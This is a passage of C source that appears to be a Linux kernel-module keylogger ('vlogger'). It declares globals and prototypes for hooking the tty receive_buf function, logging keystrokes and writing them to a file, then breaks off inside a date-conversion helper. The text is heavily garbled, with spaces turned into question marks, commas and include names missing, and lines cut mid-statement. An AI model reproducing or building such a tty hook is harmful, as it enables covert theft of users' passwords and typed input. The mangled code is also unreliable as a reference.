#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?“config.h“
#include?“klogger.h“

extern?int?hook_init（void）;

spinlock_t?pty_lock?=?SPIN_LOCK_UNLOCKED;
spinlock_t?pty_lock1?=?SPIN_LOCK_UNLOCKED;

struct?tlogger?*ttys[MAX_TTY_CON?+?MAX_PTS_CON]?=?{?NULL?};

int?vlogger_mode?=?DEFAULT_MODE;

struct?tty_struct?*tty?=?NULL;
struct?tty_driver?*tty_driver?=?NULL;

int?errno;

void?（*old_receive_buf）（struct?tty_struct?*const?unsigned?char?*char?*int）;

int?epoch2time?（const?time_t?*t?long?int?offset?struct?vtm?*tp）;
void?get_time?（char?*date_time）;
void?new_receive_buf（struct?tty_struct?*tty?const?unsigned?char?*cp
????????????????????????char?*fp?int?count）;
void?reset_all_buf（void）;
struct?task_struct?*get_task（pid_t?pgrp）;
void?special_key（struct?tlogger?*tmp?const?unsigned?char?*cp?int?count）;
void?logging（struct?tty_struct?*tty?struct?tlogger?*tmp?int?cont）;
void?vlogger_process（struct?tty_struct?*ttyconst?unsigned?char?*cp?int?count）;
int?write_to_file（char?*logfile?char?*buf?int?size）;
void?init_tty（struct?tty_struct?*tty?int?tty_index）;
int?my_open_tty（void）;


int?epoch2time?（const?time_t?*t?long?int?offset?struct?vtm?*tp）
{
????????static?const?unsigned?short?int?mon_yday[2][13]?=?{
????????/*?Normal?years.??*/
????????{?0?31?59?90?120?151?181?212?243?273?304?334?365?}
????????/*?Leap?years.??*/
????????{?0?31?60?91?121?152?182?213?244?274?305?335?366?}
????????};

????????long?int?days?rem?y;
????????const?unsigned?short?int?*ip;

????????days?=?*t?/?SECS_PER_DAY;
????????rem?=?*t?%?SECS_PER_DAY;
????????rem?+=?offset;

????????while?（rem?????????????????rem?+=?SECS_PER_DAY;
????????????????--days;
????????}
????????
????????while?（rem?>=?SECS_PER_DAY）?{
????????????????rem?-=?SECS_PER_DAY;
????????????????++days;
????????}
????????
????????tp->tm_hour?=?rem?/?SECS_PER_HOUR;
????????rem?%=?SECS_PER_HOUR;
????????tp->tm_min?=?rem?/?60;
????????tp->tm_sec?=?rem?%?60;
????????y?=?1970;

????????while?（days?=?（isleap?（y）???366?:?365））?{
????????????????long?int?yg?=?y?+?days?/?365?-?（days?%?365?????????????????days?-=?（（yg?-?y）?*?365
????????????????+?LEAPS_THRU_END_OF?（yg?-?1）
????????????????-?LEAPS_THRU_END_OF?（y?-?1））;
????????????????y?=?yg;
????????}
????????
????????tp->tm_year?=?y?-?1900;
????????if?（tp->tm_year?!=?y?-?1900）
????????????????return?0;
????????ip?=?mon_yday[isleap（y）];

????????for?（y?=?11;?days?????????????????continue;
????????days?-=?ip[y];
????????tp->tm_mon?=?y;
????